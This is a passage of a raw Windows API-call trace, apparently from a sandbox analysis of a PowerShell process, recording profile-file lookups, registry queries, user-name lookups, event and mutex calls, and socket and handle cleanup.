(in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b750250 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0086.080] CoTaskMemFree (pv=0x1b750250) [0086.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x24d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0086.080] CoTaskMemAlloc (cb=0x20c) returned 0x1b750250 [0086.080] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b750250 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0086.080] CoTaskMemFree (pv=0x1b750250) [0086.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0x24d4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0086.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x24d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0086.082] SetErrorMode (uMode=0x1) returned 0x1 [0086.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x24d880 | out: lpFileInformation=0x24d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0086.082] SetErrorMode (uMode=0x1) returned 0x1 [0086.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x24d670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0086.082] SetErrorMode (uMode=0x1) returned 0x1 [0086.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x24d880 | out: lpFileInformation=0x24d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0086.083] SetErrorMode (uMode=0x1) returned 0x1 [0086.083] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x24d670, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x39 [0086.083] SetErrorMode (uMode=0x1) returned 0x1 [0086.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\aetadzjz\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x24d880 | out: lpFileInformation=0x24d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0086.083] SetErrorMode (uMode=0x1) returned 0x1 [0086.083] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x24d670, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4e [0086.083] SetErrorMode (uMode=0x1) returned 0x1 [0086.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\aetadzjz\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x24d880 | out: lpFileInformation=0x24d880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0086.084] SetErrorMode (uMode=0x1) returned 0x1 [0086.085] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.085] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.085] CoTaskMemFree (pv=0x1b75b7b0) [0086.085] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.085] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.085] CoTaskMemFree (pv=0x1b75b7b0) [0086.086] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.086] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.086] CoTaskMemFree (pv=0x1b75b7b0) [0086.087] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.087] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.087] CoTaskMemFree (pv=0x1b75b7b0) [0086.093] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.093] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.093] CoTaskMemFree (pv=0x1b75b7b0) [0086.096] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.096] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.096] CoTaskMemFree (pv=0x1b75b7b0) [0086.098] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0086.098] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x24da60 | out: lpMode=0x24da60) returned 1 [0086.099] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.099] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.099] CoTaskMemFree (pv=0x1b75b7b0) [0086.101] SetEvent (hEvent=0x3a4) returned 1 [0086.101] SetEvent (hEvent=0x380) returned 1 [0086.101] SetEvent (hEvent=0x384) returned 1 [0086.102] SetEvent (hEvent=0x388) returned 1 [0086.106] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.106] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.106] CoTaskMemFree (pv=0x1b75b7b0) [0086.106] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d7b8 | out: phkResult=0x24d7b8*=0x33c) returned 0x0 [0086.106] RegQueryValueExW (in: hKey=0x33c, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x24d73c, lpData=0x0, lpcbData=0x24d738*=0x0 | out: lpType=0x24d73c*=0x0, lpData=0x0, lpcbData=0x24d738*=0x0) returned 0x2 [0092.217] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d8 [0092.217] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3e0 [0092.217] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3e4 [0092.217] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ec [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x404 [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x534 [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x53c [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x538 [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x624 [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x620 [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b4 [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5ac [0092.218] SetEvent (hEvent=0x3ec) returned 1 [0092.218] SetEvent (hEvent=0x4d8) returned 1 [0092.218] SetEvent (hEvent=0x3e0) returned 1 [0092.218] SetEvent (hEvent=0x3e4) returned 1 [0092.218] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5a4 [0092.218] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d848 | out: phkResult=0x24d848*=0x594) returned 0x0 [0092.219] RegQueryValueExW (in: hKey=0x594, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x24d7cc, lpData=0x0, lpcbData=0x24d7c8*=0x0 | out: lpType=0x24d7cc*=0x0, lpData=0x0, lpcbData=0x24d7c8*=0x0) returned 0x2 [0092.267] SetEvent (hEvent=0x404) returned 1 [0092.267] SetEvent (hEvent=0x534) returned 1 [0092.267] SetEvent (hEvent=0x53c) returned 1 [0092.276] CoTaskMemAlloc (cb=0x104) returned 0x1b75ccf0 [0092.277] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75ccf0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0092.277] CoTaskMemFree (pv=0x1b75ccf0) [0092.389] SetEvent (hEvent=0x31c) returned 1 [0092.391] CoTaskMemAlloc (cb=0x804) returned 0x1b7cb510 [0092.391] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7cb510, nSize=0x24d8e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d8e8) returned 0x1 [0092.391] CoTaskMemFree (pv=0x1b7cb510) [0092.391] CoTaskMemAlloc (cb=0x204) returned 0x172280 [0092.391] GetUserNameW (in: lpBuffer=0x172280, pcbBuffer=0x24d928 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d928) returned 1 [0092.391] CoTaskMemFree (pv=0x172280) [0092.392] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2f520f0*="Stopped", lpRawData=0x2f51e80) returned 1 [0092.416] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0092.418] CoGetContextToken (in: pToken=0x24f4b0 | out: pToken=0x24f4b0) returned 0x0 [0092.418] IUnknown:QueryInterface (in: This=0xf0580, riid=0x7fee49ed270*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24f508 | out: ppvObject=0x24f508*=0xf0598) returned 0x0 [0092.418] IComThreadingInfo:GetCurrentThreadType (in: This=0xf0598, pThreadType=0x24f600 | out: pThreadType=0x24f600*=0) returned 0x0 [0092.418] IUnknown:Release (This=0xf0598) returned 0x1 [0092.420] CoGetContextToken (in: pToken=0x24f080 | out: pToken=0x24f080) returned 0x0 [0092.420] IUnknown:QueryInterface (in: This=0xf0580, riid=0x7fee49ed270*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24f0d8 | out: ppvObject=0x24f0d8*=0xf0598) returned 0x0 [0092.420] IComThreadingInfo:GetCurrentThreadType (in: This=0xf0598, pThreadType=0x24f170 | out: pThreadType=0x24f170*=0) returned 0x0 [0092.420] IUnknown:Release (This=0xf0598) returned 0x1 [0092.421] CoGetContextToken (in: pToken=0x24f080 | out: pToken=0x24f080) returned 0x0 [0092.421] IUnknown:QueryInterface (in: This=0xf0580, riid=0x7fee49ed270*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24f0d8 | out: ppvObject=0x24f0d8*=0xf0598) returned 0x0 [0092.421] IComThreadingInfo:GetCurrentThreadType (in: This=0xf0598, pThreadType=0x24f170 | out: pThreadType=0x24f170*=0) returned 0x0 [0092.421] IUnknown:Release (This=0xf0598) returned 0x1 [0092.435] CoGetContextToken (in: pToken=0x24f080 | out: pToken=0x24f080) returned 0x0 [0092.435] IUnknown:QueryInterface (in: This=0xf0580, riid=0x7fee49ed270*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24f0d8 | out: ppvObject=0x24f0d8*=0xf0598) returned 0x0 [0092.436] IComThreadingInfo:GetCurrentThreadType (in: This=0xf0598, pThreadType=0x24f170 | out: pThreadType=0x24f170*=0) returned 0x0 [0092.436] IUnknown:Release (This=0xf0598) returned 0x1 [0092.473] CoGetContextToken (in: pToken=0x24f070 | out: pToken=0x24f070) returned 0x0 [0092.473] IUnknown:QueryInterface (in: This=0xf0580, riid=0x7fee49ed270*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24f0c8 | out: ppvObject=0x24f0c8*=0xf0598) returned 0x0 [0092.474] IComThreadingInfo:GetCurrentThreadType (in: This=0xf0598, pThreadType=0x24f160 | out: pThreadType=0x24f160*=0) returned 0x0 [0092.474] IUnknown:Release (This=0xf0598) returned 0x0 [0092.475] CoUninitialize () Thread: id = 43 os_tid = 0xd70 Thread: id = 44 os_tid = 0xd74 Thread: id = 45 os_tid = 0xd78 Thread: id = 46 os_tid = 0xd7c Thread: id = 47 os_tid = 0xd80 [0075.472] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0082.363] LocalFree (hMem=0x1174c0) returned 0x0 [0082.363] CloseHandle (hObject=0x320) returned 1 [0082.363] CloseHandle (hObject=0x13) returned 1 [0082.364] CloseHandle (hObject=0xf) returned 1 [0082.364] RegCloseKey (hKey=0x30c) returned 0x0 [0082.364] RegCloseKey (hKey=0x308) returned 0x0 [0082.365] RegCloseKey (hKey=0x304) returned 0x0 [0082.365] LocalFree (hMem=0x117490) returned 0x0 [0082.365] RegCloseKey (hKey=0x32c) returned 0x0 [0083.667] RegCloseKey (hKey=0x32c) returned 0x0 [0085.814] RegCloseKey (hKey=0x37c) returned 0x0 [0085.814] RegCloseKey (hKey=0x378) returned 0x0 [0085.815] RegCloseKey (hKey=0x374) returned 0x0 [0085.815] RegCloseKey (hKey=0x350) returned 0x0 [0085.815] RegCloseKey (hKey=0x3a0) returned 0x0 [0085.816] RegCloseKey (hKey=0x36c) returned 0x0 [0085.816] RegCloseKey (hKey=0x368) returned 0x0 [0085.816] RegCloseKey (hKey=0x364) returned 0x0 [0085.817] RegCloseKey (hKey=0x360) returned 0x0 [0085.817] RegCloseKey (hKey=0x35c) returned 0x0 [0085.817] RegCloseKey (hKey=0x358) returned 0x0 [0085.817] RegCloseKey (hKey=0x354) returned 0x0 [0085.818] RegCloseKey (hKey=0x39c) returned 0x0 [0085.818] RegCloseKey (hKey=0x398) returned 0x0 [0085.818] RegCloseKey (hKey=0x344) returned 0x0 [0085.819] RegCloseKey (hKey=0x340) returned 0x0 [0085.819] RegCloseKey (hKey=0x33c) returned 0x0 [0085.819] RegCloseKey (hKey=0x338) returned 0x0 [0085.819] RegCloseKey (hKey=0x334) returned 0x0 [0085.820] RegCloseKey (hKey=0x320) returned 0x0 [0085.820] RegCloseKey (hKey=0x30c) returned 0x0 [0085.820] RegCloseKey (hKey=0x304) returned 0x0 [0085.820] RegCloseKey (hKey=0x32c) returned 0x0 [0085.821] RegCloseKey (hKey=0x394) returned 0x0 [0085.821] RegCloseKey (hKey=0x390) returned 0x0 [0085.821] RegCloseKey (hKey=0x370) returned 0x0 [0085.822] RegCloseKey (hKey=0x3a4) returned 0x0 [0085.822] RegCloseKey (hKey=0x388) returned 0x0 [0085.822] RegCloseKey (hKey=0x384) returned 0x0 [0085.823] RegCloseKey (hKey=0x380) returned 0x0 [0087.256] RegCloseKey (hKey=0x33c) returned 0x0 [0092.423] LocalFree (hMem=0x1b75b6a0) returned 0x0 [0092.423] LocalFree (hMem=0x1b75b590) returned 0x0 [0092.424] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f524a8, cbSid=0x1b44eab0 | out: pSid=0x2f524a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b44eab0) returned 1 [0092.425] CreateMutexW (lpMutexAttributes=0x2f52660, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x5dc [0092.425] WaitForSingleObject (hHandle=0x5dc, dwMilliseconds=0x1f4) returned 0x0 [0092.425] ReleaseMutex (hMutex=0x5dc) returned 1 [0092.425] CloseHandle (hObject=0x5dc) returned 1 [0092.425] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f529b8, cbSid=0x1b44eab0 | out: pSid=0x2f529b8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b44eab0) returned 1 [0092.425] CreateMutexW (lpMutexAttributes=0x2f52b70, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x5dc [0092.426] WaitForSingleObject (hHandle=0x5dc, dwMilliseconds=0x1f4) returned 0x0 [0092.426] ReleaseMutex (hMutex=0x5dc) returned 1 [0092.426] CloseHandle (hObject=0x5dc) returned 1 [0092.426] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f52ec8, cbSid=0x1b44eab0 | out: pSid=0x2f52ec8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b44eab0) returned 1 [0092.426] CreateMutexW (lpMutexAttributes=0x2f53080, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x5dc [0092.426] WaitForSingleObject (hHandle=0x5dc, dwMilliseconds=0x1f4) returned 0x0 [0092.426] ReleaseMutex (hMutex=0x5dc) returned 1 [0092.426] CloseHandle (hObject=0x5dc) returned 1 [0092.426] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f533d8, cbSid=0x1b44eab0 | out: pSid=0x2f533d8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b44eab0) returned 1 [0092.426] CreateMutexW (lpMutexAttributes=0x2f53590, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x5dc [0092.427] WaitForSingleObject (hHandle=0x5dc, dwMilliseconds=0x1f4) returned 0x0 [0092.427] ReleaseMutex (hMutex=0x5dc) returned 1 [0092.427] CloseHandle (hObject=0x5dc) returned 1 [0092.427] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2f538e8, cbSid=0x1b44eae0 | out: pSid=0x2f538e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b44eae0) returned 1 [0092.427] CreateMutexW (lpMutexAttributes=0x2f53aa0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x5dc [0092.427] WaitForSingleObject (hHandle=0x5dc, dwMilliseconds=0x1f4) returned 0x0 [0092.427] ReleaseMutex (hMutex=0x5dc) returned 1 [0092.427] CloseHandle (hObject=0x5dc) returned 1 [0092.430] setsockopt (s=0x4dc, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0092.430] closesocket (s=0x4dc) returned 0 [0092.435] DeregisterEventSource (hEventLog=0x1b840008) returned 1 [0092.446] CloseHandle (hObject=0x414) returned 1 [0092.446] CloseHandle (hObject=0x624) returned 1 [0092.447] CloseHandle (hObject=0x538) returned 1 [0092.447] CloseHandle (hObject=0x40c) returned 1 [0092.447] CloseHandle (hObject=0x408) returned 1 [0092.448] CloseHandle (hObject=0x3b8) returned 1 [0092.448] CloseHandle (hObject=0x3b4) returned 1 [0092.448] CloseHandle (hObject=0x3b0) returned 1 [0092.449] CloseHandle (hObject=0x53c) returned 1 [0092.449] CloseHandle (hObject=0x3ac) returned 1 [0092.449] CloseHandle (hObject=0x37c) returned 1 [0092.450] CloseHandle (hObject=0x534) returned 1 [0092.450] CloseHandle (hObject=0x404) returned 1 [0092.450] CloseHandle (hObject=0x3ec) returned 1 [0092.450] CloseHandle (hObject=0x3e4) returned 1 [0092.451] CloseHandle (hObject=0x3e0) returned 1 [0092.451] CloseHandle (hObject=0x4d8) returned 1 [0092.451] CloseHandle (hObject=0x3a0) returned 1 [0092.452] CloseHandle (hObject=0x36c) returned 1 [0092.452] CloseHandle (hObject=0x368) returned 1 [0092.452] CloseHandle (hObject=0x364) returned 1 [0092.453] CloseHandle (hObject=0x360) returned 1 [0092.453] CloseHandle (hObject=0x358) returned 1 [0092.453] CloseHandle (hObject=0x35c) returned 1 [0092.454] CloseHandle (hObject=0x33c) returned 1 [0092.455] setsockopt (s=0x4f0, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0092.455] closesocket (s=0x4f0) returned 0 [0092.455] CloseHandle (hObject=0x4f4) returned 1 [0092.455] setsockopt (s=0x4e8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0092.455] closesocket (s=0x4e8) returned 0 [0092.456] CloseHandle (hObject=0x4d0) returned 1 [0092.456] CloseHandle (hObject=0x4cc) returned 1 [0092.457] CloseHandle (hObject=0x4d4) returned 1 [0092.457] CloseHandle (hObject=0x460) returned 1 [0092.457] CloseHandle (hObject=0x45c) returned 1 [0092.458] CloseHandle (hObject=0x458) returned 1 [0092.458] CloseHandle (hObject=0x454) returned 1 [0092.458] RegCloseKey (hKey=0x450) returned 0x0 [0092.458] CloseHandle (hObject=0x44c) returned 1 [0092.459] RegCloseKey (hKey=0x448) returned 0x0 [0092.459] CloseHandle (hObject=0x444) returned 1 [0092.459] RegCloseKey (hKey=0x440) returned 0x0 [0092.459] RegCloseKey (hKey=0x43c) returned 0x0 [0092.460] CloseHandle (hObject=0x424) returned 1 [0092.460] CloseHandle (hObject=0x338) returned 1 [0092.460] CloseHandle (hObject=0x334) returned 1 [0092.460] CloseHandle (hObject=0x320) returned 1 [0092.461] CloseHandle (hObject=0x30c) returned 1 [0092.461] CloseHandle (hObject=0x304) returned 1 [0092.461] CloseHandle (hObject=0x32c) returned 1 [0092.461] CloseHandle (hObject=0x394) returned 1 [0092.462] CloseHandle (hObject=0x390) returned 1 [0092.462] CloseHandle (hObject=0x370) returned 1 [0092.462] CloseHandle (hObject=0x3a4) returned 1 [0092.462] CloseHandle (hObject=0x388) returned 1 [0092.463] CloseHandle (hObject=0x384) returned 1 [0092.463] CloseHandle (hObject=0x380) returned 1 [0092.463] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0092.463] closesocket (s=0x41c) returned 0 [0092.464] CloseHandle (hObject=0x420) returned 1 [0092.464] setsockopt (s=0x410, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0092.464] closesocket (s=0x410) returned 0 [0092.465] CloseHandle (hObject=0x418) returned 1 [0092.465] RegCloseKey (hKey=0x594) returned 0x0 [0092.466] CloseHandle (hObject=0x5a4) returned 1 [0092.466] CloseHandle (hObject=0x5ac) returned 1 [0092.466] CloseHandle (hObject=0x5b4) returned 1 [0092.466] CloseHandle (hObject=0x620) returned 1 [0092.467] CloseHandle (hObject=0x31c) returned 1 [0092.467] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0092.467] CloseHandle (hObject=0x2ec) returned 1 [0092.468] UnmapViewOfFile (lpBaseAddress=0x29b0000) returned 1 [0092.468] CloseHandle (hObject=0x328) returned 1 [0092.469] UnmapViewOfFile (lpBaseAddress=0x1bc50000) returned 1 [0092.471] CoGetContextToken (in: pToken=0x1b44c430 | out: pToken=0x1b44c430) returned 0x0 [0092.471] CoGetContextToken (in: pToken=0x1b44c350 | out: pToken=0x1b44c350) returned 0x0 [0092.471] Shell:IUnknown:Release (This=0x1b7b5290) returned 0x1 [0092.471] Shell:IUnknown:Release (This=0x1b7ba8f8) returned 0x0 [0092.471] CoGetContextToken (in: pToken=0x1b44c350 | out: pToken=0x1b44c350) returned 0x0 [0092.471] Shell:IUnknown:Release (This=0x1b7b4f90) returned 0x1 [0092.471] Shell:IUnknown:Release (This=0x1b7ba7a8) returned 0x0 [0092.472] CoGetContextToken (in: pToken=0x1b44c350 | out: pToken=0x1b44c350) returned 0x0 [0092.472] Shell:IUnknown:Release (This=0x1b7b4c90) returned 0x1 [0092.472] IUnknown:Release (This=0xf0580) returned 0x0 [0092.472] Shell:IUnknown:Release (This=0x1b7ba348) returned 0x0 Thread: id = 48 os_tid = 0xde4 [0086.114] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0086.120] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0086.127] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.127] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.127] CoTaskMemFree (pv=0x1b75b7b0) [0086.129] VirtualQuery (in: lpAddress=0x1c7adce0, lpBuffer=0x1c7aeba0, dwLength=0x30 | out: lpBuffer=0x1c7aeba0*(BaseAddress=0x1c7ad000, AllocationBase=0x1be20000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.138] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.138] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.139] CoTaskMemFree (pv=0x1b75b7b0) [0086.142] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.142] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.142] CoTaskMemFree (pv=0x1b75b7b0) [0086.145] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.145] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.146] CoTaskMemFree (pv=0x1b75b7b0) [0086.169] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.169] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.169] CoTaskMemFree (pv=0x1b75b7b0) [0086.173] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.173] GetEnvironmentVariableW (in: 